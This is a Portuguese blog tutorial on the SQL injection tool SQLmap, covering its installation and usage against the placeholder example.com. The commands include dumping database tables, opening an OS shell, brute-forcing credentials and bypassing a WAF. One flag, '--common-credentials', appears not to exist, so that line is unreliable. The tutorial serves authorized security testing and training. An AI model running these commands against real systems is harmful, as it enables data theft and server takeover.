O SQLmap é uma ferramenta indispensável no arsenal de pentesters e profissionais de cibersegurança. Projetada para identificar e explorar vulnerabilidades em bancos de dados, o SQLmap é altamente eficaz na execução de ataques de SQL Injection. Com suporte para uma ampla variedade de bancos de dados e opções avançadas, a ferramenta pode automatizar o processo de exploração de vulnerabilidades relacionadas a injeções de SQL.
Neste artigo, vamos explorar o que é o SQLmap, como utilizá-lo e exemplos práticos de uso. Assim como nas outras ferramentas de pentest, este artigo tem um propósito estritamente educativo e deve ser utilizado em ambientes autorizados.
O Que é o SQLmap?
O SQLmap é uma ferramenta open-source de linha de comando que automatiza a detecção e exploração de vulnerabilidades de SQL Injection em aplicativos web. Ele também fornece recursos para realizar pós-exploração em bancos de dados comprometidos, como a extração de dados, manipulação de tabelas e execução de comandos no sistema operacional subjacente.
- Desenvolvedor: Bernardo Damele e Miroslav Stampar.
- Compatibilidade: Suporta diversos bancos de dados, como MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite, e muitos outros.
Principais Recursos:
- Detecção Automática:
- Identifica automaticamente o tipo de banco de dados e a vulnerabilidade.
- Suporte a Diferentes Tipos de Injeção:
- Inclui injeções baseadas em booleanos, erros, UNION e blind (cegas).
- Extração de Dados:
- Recupera dados específicos ou toda a estrutura do banco de dados.
- Acesso ao Sistema Operacional:
- Permite executar comandos no sistema operacional do servidor vulnerável.
- Bypass de Proteções:
- Pode contornar WAFs (firewalls de aplicativos web) e outras medidas de segurança.
Para Que Serve o SQLmap?
O SQLmap é amplamente utilizado em:
- Auditorias de Segurança:
- Avaliar a segurança de aplicativos web e seus bancos de dados.
- Testes de Penetração:
- Simular ataques reais para identificar vulnerabilidades de SQL Injection.
- Treinamento em Cibersegurança:
- Ensinar a detecção e exploração de vulnerabilidades em laboratórios controlados.
- Análises Pós-Exploração:
- Identificar o impacto de vulnerabilidades já exploradas.
Instalação do SQLmap
Em Sistemas Linux (Ubuntu/Debian)
Atualize os pacotes:
sudo apt update
Instale o SQLmap:
sudo apt install sqlmap
Em Outros Sistemas Operacionais
Baixe a ferramenta diretamente do GitHub:
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
Execute diretamente do diretório baixado:
python3 sqlmap.py -h
Como Usar o SQLmap: Exemplos Práticos
Passo 1: Identificar um Ponto de Injeção SQL
Para usar o SQLmap, você precisa de um ponto de entrada vulnerável, como um URL que aceita parâmetros. Exemplo:
http://example.com/product?id=1
Passo 2: Testar a Vulnerabilidade
Use o seguinte comando para verificar se o parâmetro id
é vulnerável:
sqlmap -u "http://example.com/product?id=1" --batch
Explicação dos Parâmetros:
-u
: URL do alvo.--batch
: Aceita automaticamente as opções padrão para facilitar a execução.
Se o SQLmap detectar vulnerabilidades, ele exibirá informações sobre o banco de dados.
Exemplos Avançados de Uso do SQLmap
1. Listar Bancos de Dados
Após confirmar a vulnerabilidade, você pode listar todos os bancos de dados disponíveis:
sqlmap -u "http://example.com/product?id=1" --dbs
2. Selecionar e Listar Tabelas
Escolha um banco de dados e liste suas tabelas:
sqlmap -u "http://example.com/product?id=1" -D nome_do_banco --tables
3. Extrair Dados de uma Tabela
Escolha uma tabela específica e recupere os dados:
sqlmap -u "http://example.com/product?id=1" -D nome_do_banco -T nome_da_tabela --dump
4. Executar Comandos no Sistema Operacional
Se o banco de dados permitir execução de comandos, use:
sqlmap -u "http://example.com/product?id=1" --os-shell
5. Usar uma Lista Customizada de Senhas
Baixe o SecLists para integrar uma lista de senhas ao SQLmap:
wget https://github.com/danielmiessler/SecLists/raw/master/Passwords/Common-Credentials/10k-most-common.txt -O senhas.txt
Teste força bruta de credenciais:
sqlmap -u "http://example.com/product?id=1" --passwords --common-credentials senhas.txt
Superando Proteções com o SQLmap
Bypass de WAF (Web Application Firewall)
Adicione opções para contornar proteções:
sqlmap -u "http://example.com/product?id=1" --tamper="space2comment"
Testando Parâmetros POST
Se o alvo usa parâmetros POST em formulários:
sqlmap -u "http://example.com/login" --data="username=admin&password=1234"
Usando Cookies
Para sessões autenticadas:
sqlmap -u "http://example.com/profile" --cookie="PHPSESSID=12345"
Dicas para Uso Seguro e Ético
- Somente em Ambientes Autorizados:
- Realize testes apenas com permissão explícita.
- Documentação:
- Consulte a documentação oficial para entender todas as opções:
- Treine em Ambientes Controlados:
- Plataformas como TryHackMe e Hack The Box são ótimas para praticar.
- Atualize Regularmente:
- Certifique-se de usar a versão mais recente para explorar novas funcionalidades.
Conclusão
O SQLmap é uma ferramenta poderosa e versátil que automatiza a detecção e exploração de vulnerabilidades de SQL Injection. Seja para auditar aplicativos web, treinar habilidades de pentest ou compreender o impacto de vulnerabilidades, o SQLmap é um recurso indispensável para profissionais de cibersegurança.
No entanto, é essencial usá-lo de forma ética e responsável, respeitando as leis e diretrizes de segurança. Ferramentas como o SQLmap devem ser vistas como meios de melhorar a segurança, não como instrumentos de ataque malicioso.
Amante por tecnologia Especialista em Cibersegurança e Big Data, Formado em Administração de Infraestrutura de Redes, Pós-Graduado em Ciências de Dados e Big Data Analytics e Machine Learning, Com MBA em Segurança da Informação, Escritor do livro ” Cibersegurança: Protegendo a sua Reputação Digital”.